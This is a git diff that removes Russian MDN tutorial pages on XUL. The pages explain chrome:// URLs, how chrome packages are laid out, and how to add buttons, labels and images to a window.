Установленные пакеты имеют преимущество в том, что на них не накладывается каких-либо ограничений безопасности, что важно для многих приложений. Другим достоинством по сравнению с прочими типами URL является то, что они автоматически поддерживают множество тем и локалей. Например, chrome URL позволяет вам ссылаться на файл в теме, например на изображение, но без необходимости знать, какую именно тему оформления использует пользователь. Поскольку имена файлов одинаковы во всех темах, вы можете ссылаться на файл с помощью chrome URL. Mozilla позаботится о том, чтобы определить, где находится этот файл и предоставить правильные данные. Это также означает, что не имеет значения, куда именно установлен пакет, чтобы получить к нему доступ. Chrome URL-ы не зависят от физического месторасположения файлов. Это существенно облегчает программирование приложений, содержащих множество файлов, так как вам не надо беспокоиться о деталях месторасположения этих файлов на диске.

-

Базовый синтаксис chrome URL выглядит следующим образом:

-
chrome://<package name>/<part>/<file.xul>
-
-

Текст <package name> - это название пакета, например "messenger" или "editor". <part> - это 'content', 'skin' или 'locale' в зависимости от того, какая часть пакета вам нужна. <file.xul> - это просто имя файла.

-

Пример: chrome://messenger/content/messenger.xul

-

Вышеприведенный пример относится к окну программы обмена сообщениями (messenger). Вы можете указать на файл, который является частью скина, заменив 'content' на 'skin' и изменив имя файла. Сходным образом, вы можете указать на файл, являющийся частью локали использовао 'locale' вместо 'content'.

-

Когда вы открываете chrome URL, Mozilla просматривает список установленных пакетов и пытается найти JAR файл или папку, подходящие под заданное имя пакета и части пакета. Соответствие между chrome URL-ами и JAR файлами заданы в файлах манифестов, хранящихся в папке chrome. Если вы переместите файл messenger.jar в какую-либо другую папку на диске и соответствующим образом подправите манифест, Thunderbird будет продолжать нормально работать, так как он не полагается только на свое специфическое месторасположение установки на диске. Используя chrome URL-ы мы можем возложить заботу о таких деталях на Mozilla. Аналогично, если пользователь поменяет тему оформления, часть 'skin' chrome URL-а транслируется в другой набор файлов, тем не менее сам XUL и сценарии не придется изменять.

-

Ниже приведено еще несколько примеров. Заметьте, что ни в одном из URL не указывается, какая тема или локаль используется и не указывается какая-либо определенная папка.

-
chrome://messenger/content/messenger.xul
-chrome://messenger/content/attach.js
-chrome://messenger/skin/icons/folder-inbox.gif
-chrome://messenger/locale/messenger.dtd
-
-

Для ссылок на вложенные папки вы можете просто добавить их к концу chrome URL. Следующие URL будут ссылаться на окно закладок, указанное как для Mozilla Suite так и для Firefox, несмотря на то, что имя пакета для них различно:

-
chrome://communicator/content/bookma...rksManager.xul (Mozilla)
-chrome://browser/content/bookmarks/b...rksManager.xul (Firefox)
-
-

Вы можете вводить chrome URL в любом месте, где могут использоваться обычные URL. Вы даже можете вводить их непосредственно в панель адреса (URL bar) в окне браузера Mozilla. Если вы введете один из URL, приведенных выше в адресную строку браузера, вы увидите, что появится окно, так же, как если бы вы ввели адрес веб-страницы и, в основном, будет работать, как если бы оно было отдельным окном. Однако некоторые диалоговые окна могут работать неправильно, поскольку они могут предполагать передачу каких-то аргументов из открывающего их окна.

-

Вы также можете видеть, что существуют chrome URL без заданных имен файлов, такие как:

-
chrome://browser/content/browser.xul
-
-

В этом случае указывается только название пакета и его часть. Этот тип ссылки автоматически выберет соответствующий файл из соответствующей-же папки. Для контента выбирается файл с таким же именем и расширением xul. В приведенном выше примере выбирается файл browser.xul. Для программы обмена сообщениями будет выбран файл messenger.xul. Если вы создаете свое собственное приложение, вы можете решить создать файл для главного окна вашего приложения с именем, совпадающим с названием пакета, чтобы иметь возможность использовать данную сокращенную форму. Это удобно, так как пользователю достаточно знать только название приложения для того, чтобы его запустить. Естественно для расширений, которые меняют интерфейс браузера, пользователю нет необходимости знать URL, так как расширение будет само представлять себя в пользовательском интерфейсе.

-

Для скина выбирается файл <package name>.css; для локали - <package name>.dtd.

-

Помните, что chrome URL никак не отражает своего месторасположения на диске. Первые два элемента chrome URL, это название пакета и его части (это может быть content, skin, или locale). Общепринято помещать файлы контента в папку под названием 'content', но это, конечно, не регламентируется никакими соглашениями, и эти файлы можно размещать в полностью иной структуре папок.

-

В следующей главе мы опишем, как создать файлы манифеста (.manifest) и пакеты.

-

{{ PreviousNext("XUL_Tutorial/XUL_Structure", "XUL_Tutorial/Manifest_Files") }}

diff --git a/files/ru/xul_tutorial/xul_structure/index.html b/files/ru/xul_tutorial/xul_structure/index.html deleted file mode 100644 index 20c90c4d3a..0000000000 --- a/files/ru/xul_tutorial/xul_structure/index.html +++ /dev/null @@ -1,153 +0,0 @@ ---- -title: XUL Structure -slug: XUL_Tutorial/XUL_Structure -tags: - - XUL_Tutorial -translation_of: Archive/Mozilla/XUL/Tutorial/XUL_Structure ---- -

{{ PreviousNext("XUL_Tutorial/Introduction", "XUL_Tutorial/The_Chrome_URL") }}

- -

Начнём с описания того, как обрабатывается XUL в браузере Mozilla.

- -

Как обрабатывается XUL

- -

XUL обрабатывается в Mozilla теми же методами, что и HTML или другие типы содержимого. Когда вы вводите URL HTML-страницы в адресную строку браузера, браузер находит веб-сайт и загружает его содержимое. Механизм рендеринга Mozilla получает содержимое в виде исходного кода HTML и преобразует его в дерево документа. Дерево затем конвертируется в набор объектов, которые уже могут быть отображены на экране. Таблицы стилей (CSS), изображения, и другие технологии, используются для управления отображением. XUL в основном функционирует похожим образом.

- -

На самом деле, в Mozilla, все типы документов, будь то HTML или XUL, или даже SVG, обрабатываются одним и тем же кодом ядра. Это означает, что одни и те же CSS свойства могут использоваться для оформления и HTML и XUL, и многие функции также могут быть доступны обоим. Тем не менее, существуют некоторые особенности, которые являются специфическими для HTML, такие, как формы, и другие, которые являются характерными для XUL такие как оверлеи . Поскольку XUL и HTML обрабатываются сходным образом, постольку вы можете загружать их либо из локальной файловой системы, либо с веб-страницы, либо из дополнения или автономного XULRunner-приложения.

- -

Содержимое удаленных источников, например http://localhost/~username/, независимо от того, HTML это, или XUL или другой тип документа, будет по соображениям безопасности ограничено по типу операций, которое оно может выполнить. Из-за этого Mozilla обеспечивает возможность локальной установки кнтента и регистрации установленных файлов как части её chrome системы. Это позволяет использовать специальный формат URL -- chrome:// URL. Получая доступ к файлу посредством chrome URL, Mozilla обеспечивает этим файлам расширенные права для доступа к локальным файлам, к настройкам и закладкам, и выполнению других привилегированных операций. Очевидно, что у веб-страниц нет таких привилегий, если только они не имеют цифрового сертификата и пользователь не дал разрешение на выполнение таких операций.

- -

Эта регистрация пакетов в chrome системе -- способ Firefox-дополнений добавлять новые функции в браузер. Дополнения это небольшие пакеты из XUL файлов, сценариев JavaScript, таблиц стилей и изображений упакованных в один файл. Такой упакованный файл может быть создан с помощью архиватора ZIP. Когда пользователь загружает дополнение, файлы, содержащиеся в нем устанавливаются на компьютер пользователя. Расширение внедряется в браузер с помощью специального механизма XUL, называемого - оверлей (overlay) и обеспечивающего объединение XUL-кода дополнения и кода XUL браузера. Пользователю может показаться, что дополнение изменило браузер, но на самом деле, код браузера и дополнения разделены, и дополнение может быть легко удалено. Зарегистрированным пакетам, конечно же, использование оверлеев не требуется. Если бы это было не так, то вы не смогли бы получить к ним доступ посредством основного интерфейса браузера, правда, к ним можно все же получить доступ с помощью chrome URL, если вы знаете что это такое.

- -

Автономные XUL приложения могут интегрировать XUL-код похожим способом, но, естественно, XUL для приложения будет включаться как часть установки, вместо того чтобы быть установленным отдельно как дополнение. Однако, этот XUL-код будет зарегистрирован в chrome-системе, чтобы приложение могло отображать интерфейс пользователя.

- -

Следует также отметить, что браузер Mozilla сам представляет собой просто набор пакетов, содержащих файлы XUL, JavaScript и таблицы стилей. Эти файлы доступны через chrome URL, имеют расширенные привилегии и работают так же, как любой другой пакет. Конечно, браузер гораздо больше и более сложен, чем большинство дополнений. Firefox и Thunderbird также как и другие компоненты, все написаны на XUL и все они доступны через chrome URL-ы. Вы можете исследовать эти пакеты, просмотрев каталог chrome, в который установлен Firefox или другое XUL приложение.

- -

Chrome URL всегда начинается с 'chrome://'. Также как 'http://' URL всегда ссылается на веб-сайты используя HTTP и 'file://' URL всегда ссылается на локальные файлы, 'chrome://' URL всегда ссылается на установленные пакеты и дополнения. Подробнее синтаксис chrome URL будет рассмотрен в следующем разделе. Важно отметить, что доступ через chrome URL даёт дополнительные привилегии, описанные выше, чего не дают другие типы URL. Так, например, HTTP URL не имеет каких-либо особых привилегий, и если веб-страница попытается, например, считать локальный файл то произойдет ошибка. А файл, загруженный через chrome URL, может читать файлы имея тот же уровень доступа, что и установленное расширение, которому он принадлежит.

- -

Это различие очень важно. Оно означает, что есть определенные вещи, которые контент веб-страницы не может выполнить, например - прочитать закладки пользователя. Это различие основывается не на типе отображаемого контента, а только на типе используемого URL. И HTML и XUL, размещённые на веб-сайте, не имеют никаких дополнительных разрешений, однако если и HTML и XUL загружены через chrome URL, то они эти разрешения получают.

- -

Если вы собираетесь использовать XUL на веб-сайте, то просто выложите на этот сайт XUL, как обычный HTML файл, а затем загрузите этот URL в браузере http://localhost/xul.php. Проверьте, что ваш веб-сервер отправляет правильный заголовок типа контента content-type (он должен быть равен application/vnd.mozilla.xul+xml, например, для PHP можно использовать header('Content-type: application/vnd.mozilla.xul+xml');). Этот тип контента является механизмом, с помощью которого система Mozilla отличала XUL от HTML. Mozilla не использует расширение файла, если только не считывает файлы из файловой системы, но для XUL файлов вам необходимо использовать расширение .xul. Вы можете загружать XUL файлы с собственного компьютера, открывая их в браузере или двойным щелчком по имени файла в файловом менеджере.

- -
Помните, что XUL, полученный из удаленного источника будет иметь значительные ограничения в действиях, которые он сможет выполнять.
- -

Типы документа: HTML XML XUL CSS

- -

Mozilla использует существенно разные типы объектов документа (DOM) для HTML и XUL, хотя у них много общего в смысле функциональности. В Mozilla есть вВсего три типа документа имеются : HTML, XML, and XUL. Естественно, HTML документ используется для документов HTML, XUL документ используется для документов XUL, и XML документ используется для других типов документов XML. Поскольку XUL это разновидность XML, постольку документ XUL это подмножество более общего XML документа. Однако есть тонкие различия в функциональности. Так, например, когда управляющие элементы формы на HTML странице доступны через свойство document.forms, это свойство не доступно для документов  XUL, так как в XUL нет форм в том смысле, в котором они есть в HTML. Сходным образом специфические возможности XUL, такие как оверлеи и шаблоны, существуют только в документах XUL.

- -

Эти различия очень важны. Можно использовать многие возможности XUL в HTML или XML документах в тех случаях, когда эти возможности не являются специфичными для типа документа; тем не менее для других возможностей необходим правильный тип документа.

- -

Подведя итоги вышесказанного:

- - - -

Следующие несколько разделов описывают chrome пакет, который может устанавливаться в Mozilla. Но, если вы хотите уже начать разработку простого приложения, то вы можете сразу перейти на Создаем окно и вернуться к этому разделу позже.

- -

Устройство пакета

- -

Mozilla устроен таким образом, что вы можете иметь столько компонентов сколько вы захотите установить. Каждое дополнение - это отдельный компонент со своим chrome URL. В Mozilla также есть по одному компоненту для каждого установленного скина и локали. Каждый из этих компонентов, или пакетов, состоит из набора файлов, которые описывают его пользовательский интерфейс. К примеру, компонент messenger содержит описание окна списка почтовых сообщений, описание окна создания письма и описания диалоговых окон адресной книги.

- -

Пакеты, которые предоставляются в составе Mozilla, расположены внутри каталога chrome, который находится в каталоге, в который вы установили Mozilla. В каталоге chrome вы найдете все файлы, описывающие интерфейс самого браузера Mozilla, почтового клиента, и других приложений. Обычно вы размещаете все  XUL файлы в каталоге приложения, однако дополнения устанавливаются в каталоге extensions для каждого отдельного пользователя. Простое копирование XUL файла в каталог chrome не дает ему каких-либо дополнительных привилегий, также он не может быть доступен через chrome URL. Для получения дополнительных привилегий вам необходимо создать manifest-файл и поместить его в каталог chrome. Этот файл легко создать, так как он обычно состоит всего из нескольких строк. Он используется для отображения(связывания) chrome URL-а на путь к файлу или каталогу где лежат XUL файлы. Подробности создания этого файла обсуждаются в разделе далее.

- -

Единственный способ создать контент доступный через chrome URL, это создать пакет, как описано в нескольких нижеследующих разделах. Каталог называется 'chrome', скорее всего потому, что имя оказалось удобным, чтобы запомнить, что он используется для хранения chrome пакетов, содержащихся в Mozilla.

- -

Чтобы увеличить путаницу, отметим, что есть еще два других места, где может появляться слово "chrome". Это параметр -chrome в командной строке и модификатор chrome в функции window.open(). Ни одна из этих возможностей не дает дополнительных привилегий; вместо этого они используются для открытия нового окна верхнего уровня без элементов браузерного интерфейса, таких, как меню и панели инструментов. Вы можете использовать эту возможность в более сложных XUL приложениях если не хотите чтобы интерфейс браузера присутствовал в ваших диалоговых окнах.

- -

Файлы пакета обычно объединяются в JAR файл. Этот файл может быть создан любым ZIP архиватором. Например, вы можете открыть JAR файлы из  каталога chrome Mozill-ы, чтобы посмотреть базовую структуру пакета.  Несмотря на то, что обычно файлы упаковываются в JAR, пакеты могут также быть доступны в несжатой форме внутри каталога. Распространять пакеты таким образом не рекомендуется, но это очень удобно для разработки, так как вы можете править файлы напрямую и перезагружать XUL без необходимости переустановки или переупаковки файлов.

- -

По умолчанию, приложения Mozilla парсят XUL файлы и скрипты, и сохраняют прекомпилированную версию в памяти до конца сессии приложения. Это повышает производительность. Однако, из-за этого XUL не перезагрузится даже если исходные файлы изменятся. Чтобы отключить этот механизм, необходимо изменить опцию nglayout.debug.disable_xul_cache. В Firefox, эта опция может быть добавлена в пользовательские настройки простым вводом "about:config" в адресную строку, и установкой значения опции в true. Или же вы можете вручную отредактировать файл настроек user.js, добавив следующую строчку:

- -
pref("nglayout.debug.disable_xul_cache", true);
-
- -

Как правило, chrome-пакет состоит из трех частей, хотя ни одна из них не является обязательной. Каждая часть хранится в отдельном каталоге. Эти три части это контент, скин и локаль, все они описываются ниже. Отдельно взятый пакет может содержать один или более скинов и локалей, но пользователи могут заменять их своими собственными. Дополнительно пакет может содержать несколько различных приложений, каждое из которых доступно через свой  отдельный chrome URL. Система упаковки достаточно гибкая, так что вы можете включать любые нужные вам части и разрешать отдельную загрузку других частей, таких как текст для разных языков пользователей.

- -

Три типа chrome-пакетов, это:

- - - -

Пакеты контента

- -

Имя файла JAR может описывать то, что он содержит, но вы не сможете сказать с уверенностью, соответствует ли название пакета его содержимому, до тех пор пока не просмотрите это содержимое. Приведем пример на основе пакета, имеющегося в составе Firefox. Если вы распакуете файлы из пакета  browser.jar, вы увидите, что он содержит струтуру папок выглядящую скорее всего примерно так:

- -
content
-   browser
-      browser.xul
-      browser.js
-      -- other browser XUL and JS files goes here --
-      bookmarks
-         -- bookmarks files go here --
-      preferences
-         -- preferences files go here --
-.
-.
-.
-
- -

Этот пакет можно легко опознать, как пакет контента, поскольку папка самого верхнего уровня называется content. Для скинов эта папка, как правило, будет называться skin, а для локалей - locale. Эта схема поименования не является обязательной, но это общепринятое соглашение для того, чтобы сделать более понятным, какая часть пакета что содержит. Некоторые пакеты могут иметь раздел контента, скин и локаль. В таком случае вы обнаружите по папке для каждого типа. Так например пакет Chatzilla поставляется именно в таком виде.

- -

Папка content/browser содержит набор файлов с расширениями .xul и .js. XUL файлы - это файлы с расширением .xul. Файлы с расширением .js - это файлы сценариев на языке JavaScript, которые обеспечивают собственно функциональность элементов интерфейса окна. Многие XUL файлы имеют файл сценария, связанного с ними, а некоторые могут иметь по несколько таких файлов сценариев.

- -

В вышеприведенном листинге приведены два файла. Конечно в пакете есть и другие файлы, но для простоты изложения они не показаны. Файл browser.xul - это XUL файл, который описывает главное окно браузера. Главное окно для пакета контента должно иметь такое же имя, как пакет с раширением .xul. В данном случае имя пакета - "browser", поэтому мы предполагаем обнаружить файл browser.xul. Некоторые другие XUL файлы описывают отдельные окна. Например, файл pageInfo.xul описывает диалог информации о странице.

- -

Во многие пакеты будет входить файл contents.rdf, который описывает пакет, его автора, и оверлеи, которые использует этот пакет. Однако этот файл устарел и заменен более простым механизмом. Этим механизмом является файл манифеста, упомянутый ранее, вы можете отличить эти файлы в папке chrome по расширению .manifest. Например, browser.manifest описывает пакет браузера.

- -

Несколько подкаталогов, таких, как bookmarks и preferences, представляют дополнительные разделы компонента браузера. Они размещаются в различных папках только для того, чтобы расположение файлов было более организованным.

- -

Скины или Темы

- -

Несмотря на то, что код ядра Mozilla называет такие объекты скинами, а в пользовательском интерфейсе они называются темами, они оба ссылаются на одну и ту же вещь. В файле classic.jar описана тема по умолчанию, поставляемая вместе с Firefox. Структура этих частей  очень напоминает пакеты контента. Например, посмотрите classic.jar:

- -
skin
-   classic
-      browser
-         browser.css
-         -- other browser skin files go here --
-      global
-         -- global skin files go here --
-.
-.
-.
-
- -

Повторимся, что такая струтура папок не является необходимой и используется исключительно для удобства. В действительности вы можете поместить все файлы в одну папку верхнего уровня и не пользоваться подкаталогами. Однако в случае приложений большого размера подкаталоги используются для разделения разных компонентов. В вышеприведенном примере одна папка предназначена для файлов, связанных с темой для браузера, a другая - для файлов, имеющих отношение к общей для приложения теме оформления. Общая папка содержит файлы тем оформления (скинов), являющиеся общими для всех пакетов. Эти файлы используются во всех компонентах и будут включены в поставку вашего отдельного самостоятельного приложения. Общая часть определяет внешний вид всех общих виджетов XUL, тогда как все прочие папки содержат файлы, специфичные для самих приложений. Firefox содержит в одном архиве и общие файлы темы оформления и файлы темы оформления браузера, но они могут содержаться и по отдельности.

- -

Скин состоит из CSS файлов и набора изображений, используемых для задания внешнего вида интерфейса. Файл browser.css используется файлом browser.xul и содержит стили, которые определяют внешний вид различных частей интерфейса браузера. Повторно отметим, что файл browser.css имеет такое же имя, как и пакет в целом. Путем изменения CSS файлов вы можете менять внешний вид окна, не меняя при этом его функций. Именно таким способом вы можете создать новую тему оформления. Часть XUL остается неизменной, и независимо от нее меняется только часть со скином.

- -

Локали

- -

Файл en-US.jar содержит описание языковой информации для каждого компонента, в данном случае на американском варианте Английского языка. Аналогично скинам, каждый языковой раздел содержит файлы, которые определяют тексты, используемые в пакете для каждого отдельного языка. Структура локали сходна со всеми остальными, поэтому здесь она не приводится.

- -

Локализованный текст хранится в файлах двух типов: DTD и Properties. Файлы DTD имеют расширение .dtd и содержат определения объектов, по одному на каждую строку текста, используемую в окне. Например, файл browser.dtd содержит определения объектов для каждой команды меню. Кроме того для каждой команды определяются сочетания клавиш, так как они могут быть различными для каждого языка. Файлы DTD также используются XUL файлами, по одному файлу DTD на каждый XUL файл в общем случае. Часть локали также содержит .properties файлы, которые похожи на файлы DTD, но используются в скриптах. Например файл browser.properties содержит несколько таких локализованных строк.

- -

Эта структура позволяет вам переводить Mozilla или компонент приложения на разные языки просто добавляя новые локали для этих языков. И при этом вам не нужно менять полностью код XUL. К тому же другой программист может создать отдельный пакет, который добавит скин или локаль к контенту вашего приложения, что позволят создавать новые темы оформления или добавлять языки интерфейса без необходимости менять исходный пакет.

- -

Другие пакеты

- -

Существует специальный пакет, называющийся toolkit (или global). Ранее мы уже видели папку с глобальными данными в скинах. Файл toolkit.jar содержит соответствующие части контента для такого пакета. Он содержит некоторые глобальные диалоги и определения. Также он определяет вид по умолчанию и функциональность различных общих виджетов XUL, таких как текстовые поля и кнопки. Файлы, расположенные в глобальной части пакета скина содержат вид по умолчанию для всех элементов интерфейса XUL. Пакет tolkit используется всеми XUL приложениями.

- -

Добавление пакета

- -

Mozilla помещает пакеты, которые поставляются вместе с дистрибутивом, в папку chrome. Однако это не означает, что они обязательно должны там размещаться. При установке другого пакета вы можете поместить его в любое место на диске, при условии, что файл манифеста указывает на это место.

- -

Традиционно пакеты помещаются в папку chrome просто потому, что это удобно; тем не менее они будут работать точно так же и будучи размещенными в другой папке или даже в каком-нибудь каталоге вашей локальной сети. Но вы не сможете хранить их на удаленном сайте, если только этот сайт не смонтирован как локальная файловая система.

- -

Есть две папки chrome используемых для XUL приложений: одна - в том же месте, в которое установлено приложение, тогда как другая - часть профиля пользователя. Первая предназначена для пакетов, которые используются всеми пользователями, а вторая - для пакетов, применяемых только отдельным пользователем или пользователями. Расширения, будучи установленными в отдельную папку для расширений, также специфичны для каждого пользователя. Любые файлы манифеста, расположенные в любой из вышеприведенных папок, будут проверяться, чтобы определить, какие пакеты установлены.

- -

В следующей главе мы рассмотрим, как ссылаться на chrome пакеты с помощью chrome URL.

- -

{{ PreviousNext("XUL_Tutorial/Introduction", "XUL_Tutorial/The_Chrome_URL") }}Interwiki Language Links

- -

{{ languages( { "es": "es/Tutorial_de_XUL/Estructura_XUL", "fr": "fr/Tutoriel_XUL/La_structure_XUL", "ja": "ja/XUL_Tutorial/XUL_Structure", "pl": "pl/Kurs_XUL/Struktura_XUL", "de": "de/XUL_Tutorial/XUL_Struktur" } ) }}

diff --git "a/files/ru/xul_tutorial/\320\264\320\276\320\261\320\260\320\262\320\273\320\265\320\275\320\270\320\265_\320\272\320\275\320\276\320\277\320\276\320\272/index.html" "b/files/ru/xul_tutorial/\320\264\320\276\320\261\320\260\320\262\320\273\320\265\320\275\320\270\320\265_\320\272\320\275\320\276\320\277\320\276\320\272/index.html" deleted file mode 100644 index 512fd04ccc..0000000000 --- "a/files/ru/xul_tutorial/\320\264\320\276\320\261\320\260\320\262\320\273\320\265\320\275\320\270\320\265_\320\272\320\275\320\276\320\277\320\276\320\272/index.html" +++ /dev/null @@ -1,61 +0,0 @@ ---- -title: Добавление кнопок -slug: XUL_Tutorial/Добавление_кнопок ---- -

 

-

-

В этом разделе мы увидимa, как можно добавить к окну несколько простых кнопок.

-

Добавление кнопок к окну

-

В окне, которое мы создали в предыдущем разделе, ничего нет. Ну и зачем нам такое окно? В этом разделе, мы добавим де кнопки, "Find" и "Cancel". Кроме того, мы узнаем, как позиционировать кнопки в окне.

-

Подобно HTML, XUL имеет тэги, предназначенные для создания элементов пользовательского интерфейса. Тэг button -- один из простейших подобных тегов. Он используется для создания простых кнопок.

-

Тэг button имеет два основных свойства , label и image. Вам нужно определить хотя бы одно. То есть вы можете определить для кнопки имя, или картинку, или и то и другое (или ни того ни другого, всё равно заработает).

-

Синтаксис тэга button

-

Тэг button имеет следующий синтаксис:

-
<button
-    id="identifier"
-    class="dialog"
-    label="OK"
-    image="images/image.jpg"
-    disabled="true"
-    accesskey="t"/>
-
-

Атрибуты перечислены ниже. Все они являются необязательными.

-
id 
A unique identifier so that you can identify the button with. You'll see this attribute on all elements. You'll want to use this if you want to refer to the button in a style sheet or script. However, you should add this attribute to almost all elements. It isn't always placed on elements in this tutorial for simplicity.
class 
The style class of the button. This works the same as in HTML. It is used to indicate the style that the button appears in. In this case the value dialog is used. In most cases, you will not use a class for a button.
label 
The label that will appear on the button. For example, OK or Cancel. If this is left out, no text appears.
image 
The URL of the image to appear on the button. If this is attribute is left out, no image appears. You can also specify the image in a stylesheet using the list-style-image property.
disabled 
If this attribute is set to true, the button is disabled. This is usually drawn with the text in grey. If the button is disabled, the function of the button cannot be performed. If this attribute is left out entirely, the button is enabled. You can switch the disabled state of the button using JavaScript.
accesskey 
This should be set to a letter that is used as a shortcut key. This letter should appear in the label text and will typically be drawn underlined. When the user presses ALT (or a similar key that varies on each platform) and the access key, the button will be focused from anywhere in the window.
-
-

Note that a button supports more attributes than those listed above. Others will be discussed later.

-

Some examples of buttons

-

Example 1 : Исходный код Просмотреть

-
Image:buttons1.png
-
<button label="Normal"/>
-<button label="Disabled" disabled="true"/>
-
-

The examples above will generate the buttons in the image. The first button is a normal button. The second button is disabled so it appears greyed out.

-

We'll start by creating a simple Find button for the find files utility. The example code below shows how to do this.

-
<button id="find-button" label="Find"/>
-
-
Note that Firefox doesn't allow you to open chrome windows from web pages, so the View links in the tutorial will open in normal browser windows. Due to this, the buttons will appear to stretch across the window. You can add align="start" to the window tag to prevent the stretching.
-
-
The findfile.xul example
-

Let's add this code to the file findfile.xul that we created in the previous section. The code needs to be inserted in-between the window tags. The code to add is shown in red below:

-
<?xml version="1.0"?>
-<?xml-stylesheet href="chrome://global/skin/" type="text/css"?>
-<window id="findfile-window"
-        title="Find Files"
-        orient="horizontal"
-        xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul">
-
-  <button id="find-button" label="Find"/>
<button id="cancel-button" label="Cancel"/>

</window> -
-
Image:buttons2.png
-

You'll notice that the Cancel button was added also. The window has been given a horizontal orientation so that the two buttons appear beside each other. If you open the file in Mozilla, you should get something like the image shown here.

-
-

 

-
Note that we shouldn't put text labels directly in the XUL file. We should use entities instead so that text can be easily translated.
-

In the next section, we will find out how to add labels and images to a XUL window.

-

See also more button features

-

-

diff --git "a/files/ru/xul_tutorial/\320\264\320\276\320\261\320\260\320\262\320\273\320\265\320\275\320\270\320\265_\320\275\320\260\320\264\320\277\320\270\321\201\320\265\320\271_\320\270_\320\272\320\260\321\200\320\270\321\202\320\275\320\276\320\272/index.html" "b/files/ru/xul_tutorial/\320\264\320\276\320\261\320\260\320\262\320\273\320\265\320\275\320\270\320\265_\320\275\320\260\320\264\320\277\320\270\321\201\320\265\320\271_\320\270_\320\272\320\260\321\200\320\270\321\202\320\275\320\276\320\272/index.html" deleted file mode 100644 index afddc6a2a0..0000000000 --- "a/files/ru/xul_tutorial/\320\264\320\276\320\261\320\260\320\262\320\273\320\265\320\275\320\270\320\265_\320\275\320\260\320\264\320\277\320\270\321\201\320\265\320\271_\320\270_\320\272\320\260\321\200\320\270\321\202\320\275\320\276\320\272/index.html" +++ /dev/null @@ -1,122 +0,0 @@ ---- -title: Добавление надписей и каритнок -slug: XUL_Tutorial/Добавление_надписей_и_каритнок ---- -

This section describes a way to add labels and images to a window. In addition, we look at how to include elements into groups.

-
-

Text Elements -
Edit section
-

-

You cannot embed text directly into a XUL file without tags around it and expect it to be displayed. You can use two XUL elements for this purpose.

-
-

Label Element -
Edit section
-

-

The most basic way to include text in a window is to use the label element. It should be used when you want to place a descriptive label beside a control, such as a button. An example is shown below:

-

Example 1 : Source View

-
<label value="This is some text"/>
-
-

The value attribute can be used to specify the text that you wish to have displayed. The text will not wrap, so the text will all be displayed on a single line. This syntax is the most common of labels.

-

If the text needs to wrap, you can place the text content inside opening and closing tags as in the following example:

-

Example 2 :

-
<label>This is some longer text that will wrap onto several lines.</label>
-
-

As with HTML, line breaks and extra whitespace are collapsed into a single space. Later, we'll find out how to constrain the width of elements so that we can see the wrapping more easily.

-
-
Control Attribute -
Edit section
-
-

You can use the control attribute to set which control the label is associated with. When the user clicks on an associated label, that control will be focused. This association is also important for accessibility, so that screen readers read aloud the label for the control as the user tabs to it. Set the value of the control attribute to theid of the element to be focused.

-

Example 3 : Source View

-
<label value="Click here:" control="open-button"/>
-<button id="open-button" label="Open"/>
-
-

In the example above, clicking the label will cause the button to be focused.

-
-
-
-

Description Element -
Edit section
-

-

For descriptive text not associated with any particular control, you can use the description tag. This element is useful for informative text at the top of a dialog or a group of controls for example. As with the label element, you can either use the value attribute for a single line of text or place text or XHTML content inside opening and closing description tags for longer blocks of text. It is more common to use the attribute syntax for labels, and the text content syntax for descriptions.

-

Example 4 : Source View

-
<description>
-  This longer section of text is displayed.
-</description>
-
-

You can set the text via script using the textContent property, as in the following example:

-
<description id="text" width="200"/>
-
-document.getElementById('text').textContent = "Some lengthy word wrapped text goes here.";
-
-

Internally, both the label element and the description elements are the same. The label element is intended for labels of controls, such as text fields. The controlattribute is only supported for labels. The description element is intended for other descriptive text such as informative text at the top of a dialog box.

-
-
-
-

Images -
Edit section
-

-

XUL has an element to display images within a window. This element is appropriately named image. Note that the tag name is different than HTML (image instead of img). You can use the src attribute to specify the URL of the image file. The example below shows this:

-
-
-
- -
1 <image src="images/banner.jpg"/>
-
-
-
-

Although you can use this syntax, it would be better in order to support different themes to use a style sheet to set the image URL. A later section will describe how touse style sheets, but an example will be shown here for completeness. You can use the list-style-image CSS property to set the URL for the image. Here are some examples:

-
-
-
- -
1 XUL:
-
-
- -
2  <image id="image1"/>
-
-
- -
3  <image id="search"/>
-
-
-
-
-
-
- -
1 Style Sheet:
-
-
- -
2  #image1 {
-
-
- -
3    list-style-imageurl("chrome://findfile/skin/banner.jpg");
-
-
- -
4  }
-
-
- -
5  
-
-
- -
6  #search {
-
-
- -
7    list-style-imageurl("http://example.com/images/search.png");
-
-
- -
8  }
-
-
-
-

These images come from within the chrome directory, in the skin for the findfile package. Because images vary by theme, you would usually place images in the skin directory.

-
diff --git "a/files/ru/xul_tutorial/\320\264\320\276\320\261\320\260\320\262\320\273\321\217\320\265\320\274_\320\272\320\275\320\276\320\277\320\272\320\270/index.html" "b/files/ru/xul_tutorial/\320\264\320\276\320\261\320\260\320\262\320\273\321\217\320\265\320\274_\320\272\320\275\320\276\320\277\320\272\320\270/index.html" deleted file mode 100644 index 761edbf423..0000000000 --- "a/files/ru/xul_tutorial/\320\264\320\276\320\261\320\260\320\262\320\273\321\217\320\265\320\274_\320\272\320\275\320\276\320\277\320\272\320\270/index.html" +++ /dev/null @@ -1,61 +0,0 @@ ---- -title: Добавляем кнопки -slug: XUL_Tutorial/Добавляем_кнопки ---- -

 

-

-

В этой статье мы посмотрим как добавлять некоторые простые кнопки к окну.

-

Добавление кнопок к окну

-

В окне, которое мы создали, не было ничего и оно было неинтересным. В этой статье мы добавим 2 кнопки: кнопку поиска и кнопку отмены. Мы также изучим простой способ позиционирования их в окне.

-

Подобно HTML, XUL имеет определённое количество тегов, которые могут быть использованы для создания элементов пользовательского интерфейса. Самый базовый из них - тег button. Этот элемент используется для создания простых кнопок.

-

Кнопка имеет ассоциированные с ней свойства: label и image. Вам нужна одна или обе из них. Таким образом, кнопка может иметь только label, только image, или label и image одновременно. Кнопки используются например в качестве Ок и Отмена в диалогах.

-

Синтаксис кнопок

-

Тег button имеет следующий синтаксис:

-
<button
-    id="identifier"
-    class="dialog"
-    label="OK"
-    image="images/image.jpg"
-    disabled="true"
-    accesskey="t"/>
-
-

Атрибуты описаны ниже, все они не являются обязательными:

-
id 
Уникальный идентификатор, с помощью которого можно идентифицировать кнопки. Вы будете видеть этот атрибут на всех кнопках. Вы будете использовать его, когда Вам нужно будет ссылаться на кнопку в таблице стилей, или в скрипте. Вам следует добавлять этот атрибут к большинству элементов. Для простоты, идентификаторы в этом документе прописаны не везде.
class 
